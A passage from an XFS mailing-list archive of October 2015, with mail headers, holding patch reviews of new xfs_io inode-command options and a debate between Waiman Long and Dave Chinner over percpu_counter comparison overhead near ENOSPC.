an user-defined value!? */ > bulkreq.ubuffer = &igroup; > bulkreq.ocount = &count; > > - while ((c = getopt(argc, argv, "s")) != EOF) { > + while ((c = getopt(argc, argv, "sl")) != EOF) { > switch (c) { > case 's': > ret_lsize = 1; > break; > + case 'l': > + ret_largest = 1; > + break; > default: > return command_usage(&inode_cmd); > } > } > > - if (ret_lsize) { > + if (ret_lsize || ret_largest) { > for (;;) { > if (xfsctl(file->name, file->fd, XFS_IOC_FSINUMBERS, > &bulkreq)) { > @@ -811,8 +816,11 @@ inode_f( > lastino = igroup[lastgrp].xi_startino + > xfs_highbit64(igroup[lastgrp].xi_allocmask); > > - printf (_("Largest inode size: %d\n"), > - lastino > XFS_MAXINUMBER_32 ? 64 : 32); > + if (ret_lsize) > + printf (_("Largest inode size: %d\n"), > + lastino > XFS_MAXINUMBER_32 ? 64 : 32); > + else > + printf(_("Largest inode: %llu\n"), lastino); Hmm, do we need the -s option if we have -l to print the actual largest inode number? Brian > > } > > @@ -887,7 +895,7 @@ open_init(void) > > inode_cmd.name = "inode"; > inode_cmd.cfunc = inode_f; > - inode_cmd.args = _("[-s]"); > + inode_cmd.args = _("[-s | -l]"); > inode_cmd.argmin = 1; > inode_cmd.argmax = 1; > inode_cmd.flags = CMD_NOMAP_OK; > -- > 2.4.3 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From bfoster@redhat.com Tue Oct 6 12:01:00 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 039A729DF5 for ; Tue, 6 Oct 2015 12:01:00 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id DFAE9304051 for ; Tue, 6 Oct 2015 10:00:59 -0700 (PDT) X-ASG-Debug-ID: 1444150858-04cbb03f1200100001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 3H6zEOvVRGY6eIvm (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 10:00:58 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (Postfix) with ESMTPS id E6C3CA0A5C for ; Tue, 6 Oct 2015 17:00:57 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-179.bos.redhat.com [10.18.41.179]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t96H0vRA022258; Tue, 6 Oct 2015 13:00:57 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 46A61123DCD; Tue, 6 Oct 2015 13:00:56 -0400 (EDT) Date: Tue, 6 Oct 2015 13:00:56 -0400 From: Brian Foster To: Carlos Maiolino Cc: xfs@oss.sgi.com Subject: Re: [PATCH 3/3] xfs_io: implement inode '-n' and [num] argument Message-ID: <20151006170055.GD63205@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH 3/3] xfs_io: implement inode '-n' and [num] argument References: <1443186467-20110-1-git-send-email-cmaiolino@redhat.com> <1443186467-20110-4-git-send-email-cmaiolino@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1443186467-20110-4-git-send-email-cmaiolino@redhat.com> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444150858 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Fri, Sep 25, 2015 at 03:07:47PM +0200, Carlos Maiolino wrote: > "-n [num]" argument, will return to the user the next inode valid on the filesystem > after [num]. > > Using [num] exclusive, will test if the inode [num] is a valid inode in the > filesystem or not. > > Signed-off-by: Carlos Maiolino > --- > io/open.c | 84 +++++++++++++++++++++++++++++++++++++++++++++++++++++++-------- > 1 file changed, 74 insertions(+), 10 deletions(-) > > diff --git a/io/open.c b/io/open.c > index 57ff0bf..9f68de0 100644 > --- a/io/open.c > +++ b/io/open.c > @@ -762,6 +762,8 @@ inode_help(void) > " -l -- Returns the largest inode number in the filesystem\n" > " -s -- Returns the physical size (in bits) of the\n" > " largest inode number in the filesystem\n" > +" -n -- Return the next valid inode after [num]" > +"[num] Check if the inode [num] exists in the filesystem" > "\n")); > } > > @@ -774,18 +776,19 @@ inode_f( > __s32 lastgrp = 0; > __u64 last = 0; > __u64 lastino = 0; > - struct xfs_inogrp igroup[1024]; > - struct xfs_fsop_bulkreq bulkreq; > + __u64 userino = 0; > + char *p; > int c; > int ret_lsize = 0; > int ret_largest = 0; > + int ret_isvalid = 0; > + int ret_next = 0; > + struct xfs_inogrp igroup[1024]; > + struct xfs_fsop_bulkreq bulkreq; > + struct xfs_bstat bstat; > > - bulkreq.lastip = &last; > - bulkreq.icount = 1024; /* maybe an user-defined value!? */ > - bulkreq.ubuffer = &igroup; > - bulkreq.ocount = &count; > > - while ((c = getopt(argc, argv, "sl")) != EOF) { > + while ((c = getopt(argc, argv, "sln:")) != EOF) { > switch (c) { > case 's': > ret_lsize = 1; > @@ -793,12 +796,34 @@ inode_f( > case 'l': > ret_largest = 1; > break; > + case 'n': > + ret_next = 1; > + userino = strtoull(optarg, &p, 10); > + break; > default: > return command_usage(&inode_cmd); > } > } > > + if ((optind < argc) && !(ret_next || ret_lsize || ret_largest)) { > + ret_isvalid = 1; > + userino = strtoull(argv[optind], &p, 10); > + } So this appears to be the default behavior (validate whether an inode exists). Perhaps this functionality should come first since that's the core behavior for the command. > + > + if (userino) > + if (*p != '\0') { > + printf("[num] must be a valid number\n"); > + exitcode = 1; > + return 0; > + } > + > if (ret_lsize || ret_largest) { > + > + bulkreq.lastip = &last; > + bulkreq.icount = 1024; /* User-defined maybe!? */ > + bulkreq.ubuffer = &igroup; > + bulkreq.ocount = &count; > + > for (;;) { > if (xfsctl(file->name, file->fd, XFS_IOC_FSINUMBERS, > &bulkreq)) { > @@ -806,7 +831,7 @@ inode_f( > exitcode = 1; > return 0; > } > - if (count < XFS_INODES_PER_CHUNK && count > 0) > + if (count < 1024 && count > 0) > lastgrp = count; Ok, that sort of addresses my question on patch 1. I guess this is a record count rather than an inode count as well. In that case, what happens if the fs has an exact multiple of 1024 inode records? BTW, I think this should probably be set correctly when it is introduced rather than set to a value and changed in a subsequent patch. > if (!count) > break; > @@ -822,8 +847,47 @@ inode_f( > else > printf(_("Largest inode: %llu\n"), lastino); > > + return 0; > + } > + > + /* Setup bulkreq for -n or [num] only */ > + last = userino; > + bulkreq.lastip = &last; > + bulkreq.icount = 1; > + bulkreq.ubuffer = &bstat; > + bulkreq.ocount = &count; > + > + if (ret_next) { > + if (xfsctl(file->name, file->fd, XFS_IOC_FSBULKSTAT, &bulkreq)) { > + if (errno == EINVAL) > + printf("Invalid or non-existent inode\n"); > + else > + perror("XFS_IOC_FSBULKSTAT"); > + exitcode = 1; > + return 0; > + } > + > + if (!bstat.bs_ino) { > + printf("There are no further inodes in the filesystem\n"); > + return 0; > + } The above should technically check the output count rather than the inode number, right? > + > + printf("Next inode: %llu\n", bstat.bs_ino); > + return 0; > } > > + if (ret_isvalid) { > + if (xfsctl(file->name, file->fd, XFS_IOC_FSBULKSTAT_SINGLE, &bulkreq)) { > + if (errno == EINVAL) { > + printf("Invalid or non-existent inode number\n"); Is EINVAL returned in the non-existent case or ENOENT? Brian > + } else > + perror("XFS_IOC_FSBULKSTAT_SINGLE"); > + exitcode = 1; > + return 0; > + } > + printf("Valid inode: %llu\n", bstat.bs_ino); > + return 0; > + } > > return 0; > } > @@ -895,9 +959,9 @@ open_init(void) > > inode_cmd.name = "inode"; > inode_cmd.cfunc = inode_f; > - inode_cmd.args = _("[-s | -l]"); > + inode_cmd.args = _("[-s | -l | -n] [num]"); > inode_cmd.argmin = 1; > - inode_cmd.argmax = 1; > + inode_cmd.argmax = 2; > inode_cmd.flags = CMD_NOMAP_OK; > inode_cmd.oneline = > _("Query inode number usage in the filesystem"); > -- > 2.4.3 > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From waiman.long@hpe.com Tue Oct 6 12:33:29 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7C79B29DF5 for ; Tue, 6 Oct 2015 12:33:29 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 604958F8052 for ; Tue, 6 Oct 2015 10:33:26 -0700 (PDT) X-ASG-Debug-ID: 1444152803-04cbb03f1500e30001-NocioJ Received: from g1t6214.austin.hp.com (g1t6214.austin.hp.com [15.73.96.122]) by cuda.sgi.com with ESMTP id Awg51iJhu98OC5D6 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 10:33:24 -0700 (PDT) X-Barracuda-Envelope-From: waiman.long@hpe.com X-Barracuda-Apparent-Source-IP: 15.73.96.122 Received: from g2t4689.austin.hpicorp.net (g2t4689.austin.hpicorp.net [15.94.10.175]) by g1t6214.austin.hp.com (Postfix) with ESMTP id 67BEEB1; Tue, 6 Oct 2015 17:33:23 +0000 (UTC) Received: from [192.168.142.200] (unknown [16.214.225.189]) by g2t4689.austin.hpicorp.net (Postfix) with ESMTP id 6A4E736; Tue, 6 Oct 2015 17:33:22 +0000 (UTC) Message-ID: <561405E1.8020008@hpe.com> Date: Tue, 06 Oct 2015 13:33:21 -0400 From: Waiman Long User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:10.0.12) Gecko/20130109 Thunderbird/10.0.12 MIME-Version: 1.0 To: Dave Chinner CC: Tejun Heo , Christoph Lameter , linux-kernel@vger.kernel.org, xfs@oss.sgi.com, Scott J Norton , Douglas Hatch Subject: Re: [PATCH] percpu_counter: return precise count from __percpu_counter_compare() References: <1443806997-30792-1-git-send-email-Waiman.Long@hpe.com> <20151002221649.GL27164@dastard> <5613017D.7080909@hpe.com> <20151006002538.GO27164@dastard> X-ASG-Orig-Subj: Re: [PATCH] percpu_counter: return precise count from __percpu_counter_compare() In-Reply-To: <20151006002538.GO27164@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Barracuda-Connect: g1t6214.austin.hp.com[15.73.96.122] X-Barracuda-Start-Time: 1444152804 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23238 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 10/05/2015 08:25 PM, Dave Chinner wrote: > On Mon, Oct 05, 2015 at 07:02:21PM -0400, Waiman Long wrote: > .... >>> Having less than 1GB of free space in an XFS filesystem is >>> considered to be "almost ENOSPC" - when you have TB to PB of space, >>> less than 1GB really "moments before ENOSPC". >> We have systems with more than 500 CPUs (HT on). I think SGI has >> systems with thousands of CPUs. For those large system, the slowpath >> will be triggered if there is less than 4G or 10G for those thousand >> CPUs systems. > yes, I'm well aware of this. But systems with hundreds to thousands > of CPUs simply do not operate their storage at this capacity. > They'll have hundreds of TB or PBs of storage attached, so if we > trigger the slow path at 10GB of free space, we are talking about > having already used> 99.9% of that capacity. > > In which case, they are already in a world of pain because > filesystem allocation performance starts to degrade at>90% > capacity, and we start cutting back preallocations at>95% capacity, > and we really start to throttle ispace allocations to their > minimum possible sizes at>99% capacity. IOWs, hitting this slow > path at>99.9% capacity is really irrelevant.... > In the production environment, we do expect to see large storage attached to those big machines. However, in the testing environment, we may have such large pool of disks to be used. Alternatively, a user may create a small filesystem partition for certain specific use. Under those circumstances, the slowpath may be triggered. >> What I am trying to do with my patch is to reduce the >> performance overhead in those cases. I have no worry for systems >> that have only a few CPUs. In essence, the per-cpu counter code >> doesn't scale well for systems with large number of CPUs. > Maybe so, but we don't tend ot optimise slow paths - we trade off a > really fast fast path for a slow, more complex slow path all over > the place. Not just in XFS, but all over the kernel. I am not proposing any change to the fast path and they should have the same performance as before. >>> XFS trades off low overhead for fast path allocation with slowdowns >>> as we near ENOSPC in allocation routines. It gets harder to find >>> contiguous free space, files get more fragmented, IO takes longer >>> because we seek more, etc. Hence we accept that performance slows >>> down as as the need for precision increases as we near ENOSPC. >>> >>> I'd suggest you retry your benchmark with larger filesystems, and >>> see what happens... >> I don't think I am going to see the slowdown that I observed on >> larger filesystems with more free space. > So there is no problem that needs fixing.... ;) > Well, I am still worrying that corner cases when the slowpath is triggered. I would like to make it perform better in those cases. >> However, I still think that >> doing 2 precise count computations is wasteful. > I really don't care about the CPU overhead, because it's far more > important that: > > 1) the zero threshold detection is precise and correct; > 2) the fast path is really fast; and > 3) I understand the code well enough to be able to debug > and maintain it. I completely agree with that:-) >> I am planning to rework my patch to disable precise count for the >> first comparison in xfs_mod_fdblocks as that comparison is used to >> gauge how far it is from ENOSPC. So we don't really need to get >> the precise count as long as number of CPUs are taken into >> consideration in the comparison. > I think you are looking in the wrong place. There is nothing > wrong with XFS doing two compares here. If we are hitting the > __percpu_counter_compare() slow path too much, then we should be > understanding exactly why that slow path is being hit so hard so > often. I don't see any analysis of the actual per-cpu counter > behaviour and why the slow path is being taken so often.... I am thinking of making the following changes: fs/xfs/xfs_mount.c | 11 ++++++----- 1 files changed, 6 insertions(+), 5 deletions(-) diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c index bf92e0c..bb2e0ef 100644 --- a/fs/xfs/xfs_mount.c +++ b/fs/xfs/xfs_mount.c @@ -1183,12 +1183,13 @@ xfs_mod_fdblocks( * Taking blocks away, need to be more accurate the closer we * are to zero. * - * If the counter has a value of less than 2 * max batch size, - * then make everything serialise as we are real close to - * ENOSPC. + * The maximum error of imprecise counter is (nr_cpus * batch size). + * If the imprecise counter has a value less than (nr_cpus + 2) * + * max batch size, then make everything serialise as we may be real + * close to ENOSPC. */ - if (__percpu_counter_compare(&mp->m_fdblocks, 2 * XFS_FDBLOCKS_BATCH, - XFS_FDBLOCKS_BATCH) < 0) + if (percpu_counter_read(&mp->m_fdblocks) < + (num_online_cpus() + 2) * XFS_FDBLOCKS_BATCH) batch = 1; else batch = XFS_FDBLOCKS_BATCH; -- Please let me know if you think that is acceptable to you. > Indeed, have you considered using something like this in the precise > path of __percpu_counter_compare() rather than percpu_counter_sum(): > > /* > * Aggregate the per-cpu counter magazines back into the global > * counter. This avoids the need for repeated compare operations to > * run the slow path when the majority of the counter value is held > * in the per-cpu magazines. Folding them back into the global > * counter means we will continue to hit the fast > * percpu_counter_read() path until the counter value falls > * completely within the comparison limit passed to > * __percpu_counter_compare(). > */ > static s64 percpu_counter_aggregate(struct percpu_counter *fbc) > { > s64 ret; > int cpu; > unsigned long flags; > > raw_spin_lock_irqsave(&fbc->lock, flags); > ret = fbc->count; > for_each_online_cpu(cpu) { > s32 count = __this_cpu_read(*fbc->counters); > ret += count; > __this_cpu_sub(*fbc->counters, count) > } > fbc->count = ret; > raw_spin_unlock_irqrestore(&fbc->lock, flags); > return ret; > } I don't think that will work as some other CPUs may change the percpu counters values between percpu_counter_aggregate() and __percpu_counter_compare(). To be safe, the precise counter has to be compted whenever the comparison value difference is less than nr_cpus * batch size. > Some perspective: you wouldn't have seen this behaviour with the > previous per-cpu counter code in XFS near ENOSPC. By the time it got > this close to ENOSPC it was completely serialising all access to the > free space counters with a mutex and then doing per-cpu sums under > that mutex (see commit 20b6428 ("[XFS] Reduction global superblock > lock contention near ENOSPC."). Hence it wouldn't have appeared in > your profiles, even though it was much worse in terms of contention > and lock hold times than the current code is. > > This looks to be the same fundamental problem - the per-cpu counter > values are not being managed in a way that reduces minimises precise > comparison overhead. Making the above change will tell us whether > this is the case or not... I have some thoughts on how to reduce precise comparison overhead, but I need more time to work out the details. Cheers, Longman From krautus@kr916.org Tue Oct 6 13:34:48 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.9 required=5.0 tests=TVD_FROM_1 autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id C0F7329DF5 for ; Tue, 6 Oct 2015 13:34:48 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 49953AC006 for ; Tue, 6 Oct 2015 11:34:47 -0700 (PDT) X-ASG-Debug-ID: 1444156484-04cbb03f1402bf0001-NocioJ Received: from posta3.euchiamail.it (posta3.euchiamail.it [46.30.241.112]) by cuda.sgi.com with ESMTP id 4T0DB7cOAgSeU7UB (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Tue, 06 Oct 2015 11:34:45 -0700 (PDT) X-Barracuda-Envelope-From: krautus@kr916.org X-Barracuda-Apparent-Source-IP: 46.30.241.112 Received: from localhost (localhost [127.0.0.1]) by posta3.euchiamail.it (Postfix) with ESMTP id 4919C6DE01F; Tue, 6 Oct 2015 20:34:44 +0200 (CEST) X-Virus-Scanned: Debian amavisd-new at posta3.euchiamail.it Received: from posta3.euchiamail.it ([127.0.0.1]) by localhost (sufferone.euchiamail.it [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id pklk0mRq3iBF; Tue, 6 Oct 2015 20:34:42 +0200 (CEST) Received: from linux (2-227-160-98.ip186.fastwebnet.it [2.227.160.98]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by posta3.euchiamail.it (Postfix) with ESMTPSA id DCC786DE01B; Tue, 6 Oct 2015 20:34:38 +0200 (CEST) Date: Tue, 6 Oct 2015 20:34:49 +0200 From: "krautus@kr916.org" To: xfs@oss.sgi.com Cc: "Johannes Truschnigg" Subject: Re: all your slabs are belong to ram ? Message-ID: <20151006203449.065d26f3@linux> X-ASG-Orig-Subj: Re: all your slabs are belong to ram ? In-Reply-To: References: <20151006162443.42f48ee7@linux> <20151006145038.GE10397@birch.djwong.org> MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: base64 X-Barracuda-Connect: posta3.euchiamail.it[46.30.241.112] X-Barracuda-Start-Time: 1444156485 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23240 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- VGhhbmsgeW91IHZlcnkgbXVjaCwgd2lsbCBkbyENCihhbmQgcmVwb3J0IGJhY2sgdGhlIHJlc3Vs dHMpDQoNClJlZ2FyZHMgYW5kIHRoYW5rcyBmb3Igc3VwcG9ydGluZywNCk1pa2UNCg0KDQpPbiBU dWUsIDYgT2N0IDIwMTUgMTg6MTY6NDYgKzAyMDANCiJKb2hhbm5lcyBUcnVzY2huaWdnIiA8am9o YW5uZXMudHJ1c2NobmlnZ0BnZWl6aGFscy5hdD4gd3JvdGU6DQoNCj4gQW0gRGksIDYuMTAuMjAx NSwgMTY6NTAgc2NocmllYiBEYXJyaWNrIEouIFdvbmc6DQo+ID4gT24gVHVlLCBPY3QgMDYsIDIw MTUgYXQgMDQ6MjQ6NDNQTSArMDIwMCwga3JhdXR1c0BrcjkxNi5vcmcgd3JvdGU6DQo+ID4+IFsu Li5dDQo+ID4+IFNvIEknbSBhc2tpbmcgeW91Og0KPiA+PiAxLiBpcyB0aGVyZSBhIHdheSB0byBm b3JjZSBkZW50cmllcyBhbmQgaW5vZGVzIHRvIHN0YXkgaW4gcmFtID8NCj4gPj4gMi4gY2FuIEkg cGVyaGFwcyBtb3ZlIGRlbnRyaWVzIGFuZCBpbm9kZXMgdG8gYSBkZWRpY2F0ZWQgU1NEID8NCj4g Pj4NCj4gPj4gSSdtIG9wZW4gdG8gYWxsIHBvc3NpYmlsaXRpZXMsIHBlcmhhcHMgaW5jcmVhc2Ug UkFNID8NCj4gPj4gVXBncmFkZSB0byBEZWJpYW4gSmVzc2llIGFuZCA2NCBiaXQgPw0KPiA+DQo+ ID4gSVNUUiB0aGF0IGtlcm5lbCBkYXRhIHN1Y2ggYXMgc2xhYnMgY2Fubm90IGxpdmUgaW4gaGln aG1lbSwgd2hpY2ggbWVhbnMNCj4gPiB0aGF0DQo+ID4gZGVudHJpZXMgYW5kIHNsYWIgY2Fubm90 IGxpdmUgaW4gaGlnaG1lbS4gIEEgMzJiaXQga2VybmVsIHNldHMgdXAgfjkwME0gb2YNCj4gPiBs b3cNCj4gPiBtZW1vcnkgYW5kIH4xNUcgb2YgaGlnaG1lbSwgd2hpY2ggaXMgcHJvYmFibHkgd2h5 IHRoZSBrZXJuZWwgaGFzIHRvIGV2aWN0DQo+ID4gdGhpbmdzIGFuZCB3aHkgeW91IHNlZSBzdWNo IHByb2JsZW1zLg0KPiA+DQo+ID4gQSA2NGJpdCBrZXJuZWwgc2V0cyB1cCBhbGwgdGhlIG1lbW9y eSBhcyBsb3dtZW0sIHNvIHRoZSBrZXJuZWwgY2FuIHVzZSBhbGwNCj4gPiB0aGUNCj4gPiBtZW1v cnkgZm9yIHN0dWZmIGxpa2UgdGhhdC4gIEknZCBnaXZlIHRoYXQgYSB0cnkgZmlyc3QuDQo+IA0K PiBBIGZldyB5ZWFycyBiYWNrLCB3ZSBzb2x2ZWQgcHJldHR5IG11Y2ggdGhhdCBleGFjdCBzYW1l IHByb2JsZW0gYnkNCj4gc3dpdGNoaW5nIHRoZSBrZXJuZWwgdG8gYW1kNjQsIHdpdGggYWxsIG9m IHVzZXJzcGFjZSByZW1haW5pbmcgaTM4Ni4gWW91DQo+IHNob3VsZCBkZWZpbml0ZWx5IHRyeSB0 aGlzLg0KPiANCj4gLS0gDQo+IE1pdCBmcmV1bmRsaWNoZW4gR3LDvMOfZW4NCj4gSm9oYW5uZXMg VHJ1c2NobmlnZw0KPiBTZW5pb3IgU3lzdGVtIEFkbWluaXN0cmF0b3INCj4gLS0NCj4gbWFpbHRv OmpvaGFubmVzLnRydXNjaG5pZ2dAZ2VpemhhbHMuYXQgKGluIGRyaW5nZW5kZW4gRsOkbGxlbiBi aXR0ZSBhbg0KPiBpbmZvQGdlaXpoYWxzLmF0KQ0KPiANCj4gR2VpemhhbHMoUikgLSBQcmVpc3Zl cmdsZWljaCBJbnRlcm5ldCBTZXJ2aWNlcyBBRw0KPiBPYmVyZSBEb25hdXN0cmFzc2UgNjMvMg0K PiBBLTEwMjAgV2llbg0KPiBUZWw6ICs0MyAxIDU4MTE2MDkvODcNCj4gRmF4OiArNDMgMSA1ODEx NjA5LzU1DQo+IGh0dHA6Ly9nZWl6aGFscy5hdCA9PiBQcmVpc3ZlcmdsZWljaCBmw7xyIMOWc3Rl cnJlaWNoDQo+IGh0dHA6Ly9nZWl6aGFscy5kZSA9PiBQcmVpc3ZlcmdsZWljaCBmw7xyIERldXRz Y2hsYW5kDQo+IGh0dHA6Ly9nZWl6aGFscy5ldSA9PiBQcmVpc3ZlcmdsZWljaCBFVS13ZWl0DQo+ IEhhbmRlbHNnZXJpY2h0IFdpZW4gfCBGTiAxOTcyNDFLIHwgRmlybWVuc2l0eiBXaWVuDQo+IA0K PiBfX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fXw0KPiB4ZnMg bWFpbGluZyBsaXN0DQo+IHhmc0Bvc3Muc2dpLmNvbQ0KPiBodHRwOi8vb3NzLnNnaS5jb20vbWFp bG1hbi9saXN0aW5mby94ZnMNCg== From david@fromorbit.com Tue Oct 6 16:31:25 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 43BB429DF5 for ; Tue, 6 Oct 2015 16:31:25 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 31DFB304048 for ; Tue, 6 Oct 2015 14:31:22 -0700 (PDT) X-ASG-Debug-ID: 1444167078-04cb6c578a065f0001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id n6VxYGVBxRu3HG8p for ; Tue, 06 Oct 2015 14:31:19 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2B7TAAyPRRWPEcOLHlegyeBQoZaonABAQEBAQEGixeFGIYKhhQEAgKBPk0BAQEBAQEHAQEBAUE/QQEBAYNgAQEBAwEnExwjBQsIAxgJJQ8FJQMHGhOIJgfAUgEBAQcCIBmGE4VFhDUPSQeELgWWBI0PgV+EOYkHiGiDb4MngVIqM4FngXSDGoFIAQEB Received: from ppp121-44-14-71.lns20.syd4.internode.on.net (HELO dastard) ([121.44.14.71]) by ipmail04.adl6.internode.on.net with ESMTP; 07 Oct 2015 08:00:39 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZjZoV-0002O8-H3; Wed, 07 Oct 2015 08:30:23 +1100 Date: Wed, 7 Oct 2015 08:30:23 +1100 From: Dave Chinner To: Waiman Long Cc: Tejun Heo , Christoph Lameter , linux-kernel@vger.kernel.org, xfs@oss.sgi.com, Scott J Norton , Douglas Hatch Subject: Re: [PATCH] percpu_counter: return precise count from __percpu_counter_compare() Message-ID: <20151006213023.GP27164@dastard> X-ASG-Orig-Subj: Re: [PATCH] percpu_counter: return precise count from __percpu_counter_compare() References: <1443806997-30792-1-git-send-email-Waiman.Long@hpe.com> <20151002221649.GL27164@dastard> <5613017D.7080909@hpe.com> <20151006002538.GO27164@dastard> <561405E1.8020008@hpe.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <561405E1.8020008@hpe.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1444167078 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23247 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue, Oct 06, 2015 at 01:33:21PM -0400, Waiman Long wrote: > On 10/05/2015 08:25 PM, Dave Chinner wrote: > >On Mon, Oct 05, 2015 at 07:02:21PM -0400, Waiman Long wrote: > >.... > >>>Having less than 1GB of free space in an XFS filesystem is > >>>considered to be "almost ENOSPC" - when you have TB to PB of space, > >>>less than 1GB really "moments before ENOSPC". > >>We have systems with more than 500 CPUs (HT on). I think SGI has > >>systems with thousands of CPUs. For those large system, the slowpath > >>will be triggered if there is less than 4G or 10G for those thousand > >>CPUs systems. > >yes, I'm well aware of this. But systems with hundreds to thousands > >of CPUs simply do not operate their storage at this capacity. > >They'll have hundreds of TB or PBs of storage attached, so if we > >trigger the slow path at 10GB of free space, we are talking about > >having already used> 99.9% of that capacity. > > > >In which case, they are already in a world of pain because > >filesystem allocation performance starts to degrade at>90% > >capacity, and we start cutting back preallocations at>95% capacity, > >and we really start to throttle ispace allocations to their > >minimum possible sizes at>99% 